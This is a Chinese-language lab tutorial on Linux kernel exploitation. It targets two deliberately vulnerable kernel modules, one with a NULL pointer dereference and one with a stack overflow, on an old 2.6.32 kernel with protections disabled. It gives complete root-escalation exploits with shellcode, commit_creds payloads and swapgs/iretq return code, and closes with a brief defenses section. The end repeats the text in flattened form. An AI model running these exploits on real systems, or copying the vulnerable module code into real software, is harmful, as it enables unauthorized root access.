linux内核漏洞利用初探(2):two_demo
字数 1529 2025-08-03 16:49:30

Linux内核漏洞利用初探:NULL指针解引用与内核栈溢出

1. NULL指针解引用漏洞利用

1.1 漏洞原理

NULL指针解引用漏洞发生在内核模块中,当未初始化的函数指针被调用时,会导致内核尝试执行0地址处的代码。在早期Linux内核中,0地址是可映射的,这为漏洞利用提供了可能。

1.2 漏洞代码分析

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>

void (*my_funptr)(void);

int bug1_write(struct file *file, const char *buf, unsigned long len)
{
    my_funptr();
    return len;
}

static int __init null_dereference_init(void)
{
    printk(KERN_ALERT "null_dereference driver init!\n");
    create_proc_entry("bug1", 0666, 0)->write_proc = bug1_write;
    return 0;
}

static void __exit null_dereference_exit(void)
{
    printk(KERN_ALERT "null_dereference driver exit\n");
}

module_init(null_dereference_init);
module_exit(null_dereference_exit);

关键点:

  • my_funptr函数指针未初始化,默认为NULL
  • 通过/proc/bug1的write操作触发漏洞

1.3 利用思路

  1. 使用mmap映射0地址空间
  2. 在0地址处放置提权shellcode
  3. 触发漏洞执行shellcode
  4. 获取root权限

1.4 利用步骤

1.4.1 准备shellcode

提权shellcode需要调用两个关键函数:

  • prepare_kernel_cred(0)
  • commit_creds()

获取函数地址:

cat /proc/kallsyms | grep commit_creds
cat /proc/kallsyms | grep prepare_kernel_cred

汇编shellcode示例:

xor %rax,%rax
call 0xffffffff81083610  ; prepare_kernel_cred
call 0xffffffff81083420  ; commit_creds
ret

编译获取机器码:

gcc -o payload payload.s -nostdlib -Ttext=0
objdump -d payload

1.4.2 PoC代码

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>

char payload[] = "\x48\x31\xc0\xe8\x08\x36\x08\x81\xe8\x13\x34\x08\x81\xc3";

int main(){
    mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, 
        MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    memcpy(0, payload, sizeof(payload));
    int fd = open("/proc/bug1", O_WRONLY);
    write(fd, "muhe", 4);
    system("/bin/sh"); //get root shell
    return 0;
}

1.4.3 环境配置

  1. 关闭mmap_min_addr保护:
sysctl -w vm.mmap_min_addr="0"
  1. 编译为静态可执行文件:
gcc -static poc.c -o poc
  1. 打包到文件系统:
cp poc ../../busybox-1.19.4/_install/usr
find . | cpio -o --format=newc > ../../rootfs_null_dereference.img

1.4.4 调试方法

启动QEMU:

qemu-system-x86_64 \
    -m 256M \
    -kernel linux-2.6.32.1/arch/x86/boot/bzImage \
    -initrd ./rootfs_null_dereference.img \
    -append "root=/dev/ram rdinit=/sbin/init" \
    -s

GDB调试:

gdb vmlinux
target remote :1234
b *0x0
c

2. 内核栈溢出漏洞利用

2.1 漏洞原理

内核栈溢出发生在内核模块中,当对栈上的缓冲区进行不安全的拷贝操作时,可能覆盖返回地址,从而控制执行流。

2.2 漏洞代码分析

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>

int bug2_write(struct file *file, const char *buf, unsigned long len)
{
    char localbuf[8];
    memcpy(localbuf, buf, len);
    return len;
}

static int __init stack_smashing_init(void)
{
    printk(KERN_ALERT "stack_smashing driver init!\n");
    create_proc_entry("bug2", 0666, 0)->write_proc = bug2_write;
    return 0;
}

static void __exit stack_smashing_exit(void)
{
    printk(KERN_ALERT "stack_smashing driver exit!\n");
}

module_init(stack_smashing_init);
module_exit(stack_smashing_exit);

关键点:

  • localbuf只有8字节,但memcpy使用用户控制的len参数
  • 可以覆盖返回地址控制执行流

2.3 利用思路

  1. 构造ROP链或直接跳转到payload
  2. 执行提权操作:commit_creds(prepare_kernel_cred(0))
  3. 返回用户态执行shell
  4. 需要处理:
    • 关闭栈保护(CONFIG_CC_STACKPROTECTOR)
    • 保存用户态寄存器状态
    • 正确返回用户态

2.4 利用步骤

2.4.1 环境准备

  1. 关闭内核栈保护:
    编辑.config文件,注释掉CONFIG_CC_STACKPROTECTOR,重新编译内核

  2. 获取驱动.text段地址:

cat /sys/module/stack_smashing/sections/.text

2.4.2 保存用户态状态

struct trap_frame {
    size_t user_rip;
    size_t user_cs;
    size_t user_rflags;
    size_t user_sp;
    size_t user_ss;
} __attribute__((packed));

struct trap_frame tf;
size_t addr = &tf;

void save_status() {
    __asm__(
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    tf.user_rip = &get_shell;
    tf.user_cs = user_cs;
    tf.user_rflags = user_rflags;
    tf.user_sp = user_sp - 0x1000;
    tf.user_ss = user_ss;
}

2.4.3 提权payload

void payload(void){
    char *(*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
    
    asm(
        "swapgs;"    // 交换GS寄存器
        "mov rsp, addr;"
        "iretq;"     // 返回到用户态
    );
}

2.4.4 完整exploit

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>

size_t user_rip;
size_t user_cs;
size_t user_rflags;
size_t user_sp;
size_t user_ss;

struct trap_frame {
    size_t user_rip;
    size_t user_cs;
    size_t user_rflags;
    size_t user_sp;
    size_t user_ss;
} __attribute__((packed));

struct trap_frame tf;
size_t addr = &tf;

void get_shell(void){
    system("/bin/sh");
}

void save_status() {
    __asm__(
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    tf.user_rip = &get_shell;
    tf.user_cs = user_cs;
    tf.user_rflags = user_rflags;
    tf.user_sp = user_sp - 0x1000;
    tf.user_ss = user_ss;
    puts("[*]status has been saved.");
}

#define KERNCALL __attribute__((regparm(3)));
size_t prepare_kernel_cred = 0xffffffff81083330;
size_t commit_creds = 0xffffffff81083140;

void payload(void){
    char *(*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
    asm(
        "swapgs;"
        "mov rsp, addr;"
        "iretq;"
    );
}

int main(void){
    char buf[48];
    memset(buf, 0x41, 48);
    *((void**)(buf + 32)) = &payload; // 覆盖返回地址
    
    save_status();
    
    int fd = open("/proc/bug2", O_WRONLY);
    write(fd, buf, sizeof(buf));
    return 0;
}

2.4.5 调试方法

启动QEMU:

qemu-system-x86_64 \
    -m 256M \
    -kernel linux-2.6.32.1/arch/x86/boot/bzImage \
    -initrd ./rootfs_stack_smashing.img \
    -append "root=/dev/ram rdinit=/sbin/init" \
    -s

GDB调试脚本:

gdb \
    -ex "add-auto-load-safe-path $(pwd)" \
    -ex "file ../../linux-2.6.32.1/vmlinux" \
    -ex 'target remote localhost:1234' \
    -ex 'add-symbol-file ./stack_smashing.ko 0xffffffffa0000000' \
    -ex 'b bug2_write' \
    -ex 'c'

关键断点:

b *0xffffffffa0000022  # ret指令处

3. 关键知识点总结

  1. NULL指针解引用利用条件

    • 0地址可映射(需设置vm.mmap_min_addr=0
    • 能够控制0地址处的内容
  2. 内核栈溢出利用关键

    • 关闭栈保护(CONFIG_CC_STACKPROTECTOR)
    • 正确保存和恢复用户态寄存器状态
    • 使用swapgsiretq正确返回用户态
  3. 提权通用方法

    commit_creds(prepare_kernel_cred(0));
    
  4. 32位与64位差异

    • 32位使用iret,64位使用iretq
    • 64位需要swapgs指令切换GS寄存器
    • 寄存器名称和大小不同
  5. 调试技巧

    • 使用QEMU的-s选项启用GDB调试
    • 通过/proc/kallsyms获取内核符号地址
    • 通过/sys/module/<module>/sections/.text获取模块.text段地址

4. 防御措施

  1. NULL指针解引用防护

    • mmap_min_addr保护(默认4096)
    • SMAP/SMEP保护
  2. 栈溢出防护

    • 栈保护(CONFIG_CC_STACKPROTECTOR)
    • KASLR
    • 栈不可执行
  3. 通用防护

    • 及时更新内核
    • 最小权限原则
    • 模块签名验证

通过本教程,我们学习了两种基本的内核漏洞利用技术:NULL指针解引用和内核栈溢出。这些技术虽然针对的是较老版本的内核,但其中的原理和方法对于理解现代内核漏洞利用仍然具有重要意义。

Linux内核漏洞利用初探:NULL指针解引用与内核栈溢出 1. NULL指针解引用漏洞利用 1.1 漏洞原理 NULL指针解引用漏洞发生在内核模块中,当未初始化的函数指针被调用时,会导致内核尝试执行0地址处的代码。在早期Linux内核中,0地址是可映射的,这为漏洞利用提供了可能。 1.2 漏洞代码分析 关键点: my_funptr 函数指针未初始化,默认为NULL 通过 /proc/bug1 的write操作触发漏洞 1.3 利用思路 使用 mmap 映射0地址空间 在0地址处放置提权shellcode 触发漏洞执行shellcode 获取root权限 1.4 利用步骤 1.4.1 准备shellcode 提权shellcode需要调用两个关键函数: prepare_kernel_cred(0) commit_creds() 获取函数地址: 汇编shellcode示例: 编译获取机器码: 1.4.2 PoC代码 1.4.3 环境配置 关闭mmap_ min_ addr保护: 编译为静态可执行文件: 打包到文件系统: 1.4.4 调试方法 启动QEMU: GDB调试: 2. 内核栈溢出漏洞利用 2.1 漏洞原理 内核栈溢出发生在内核模块中,当对栈上的缓冲区进行不安全的拷贝操作时,可能覆盖返回地址,从而控制执行流。 2.2 漏洞代码分析 关键点: localbuf 只有8字节,但 memcpy 使用用户控制的 len 参数 可以覆盖返回地址控制执行流 2.3 利用思路 构造ROP链或直接跳转到payload 执行提权操作: commit_creds(prepare_kernel_cred(0)) 返回用户态执行shell 需要处理: 关闭栈保护(CONFIG_ CC_ STACKPROTECTOR) 保存用户态寄存器状态 正确返回用户态 2.4 利用步骤 2.4.1 环境准备 关闭内核栈保护: 编辑 .config 文件,注释掉 CONFIG_CC_STACKPROTECTOR ,重新编译内核 获取驱动.text段地址: 2.4.2 保存用户态状态 2.4.3 提权payload 2.4.4 完整exploit 2.4.5 调试方法 启动QEMU: GDB调试脚本: 关键断点: 3. 关键知识点总结 NULL指针解引用利用条件 : 0地址可映射(需设置 vm.mmap_min_addr=0 ) 能够控制0地址处的内容 内核栈溢出利用关键 : 关闭栈保护(CONFIG_ CC_ STACKPROTECTOR) 正确保存和恢复用户态寄存器状态 使用 swapgs 和 iretq 正确返回用户态 提权通用方法 : 32位与64位差异 : 32位使用 iret ,64位使用 iretq 64位需要 swapgs 指令切换GS寄存器 寄存器名称和大小不同 调试技巧 : 使用QEMU的 -s 选项启用GDB调试 通过 /proc/kallsyms 获取内核符号地址 通过 /sys/module/<module>/sections/.text 获取模块.text段地址 4. 防御措施 NULL指针解引用防护 : mmap_min_addr 保护(默认4096) SMAP/SMEP保护 栈溢出防护 : 栈保护(CONFIG_ CC_ STACKPROTECTOR) KASLR 栈不可执行 通用防护 : 及时更新内核 最小权限原则 模块签名验证 通过本教程,我们学习了两种基本的内核漏洞利用技术:NULL指针解引用和内核栈溢出。这些技术虽然针对的是较老版本的内核,但其中的原理和方法对于理解现代内核漏洞利用仍然具有重要意义。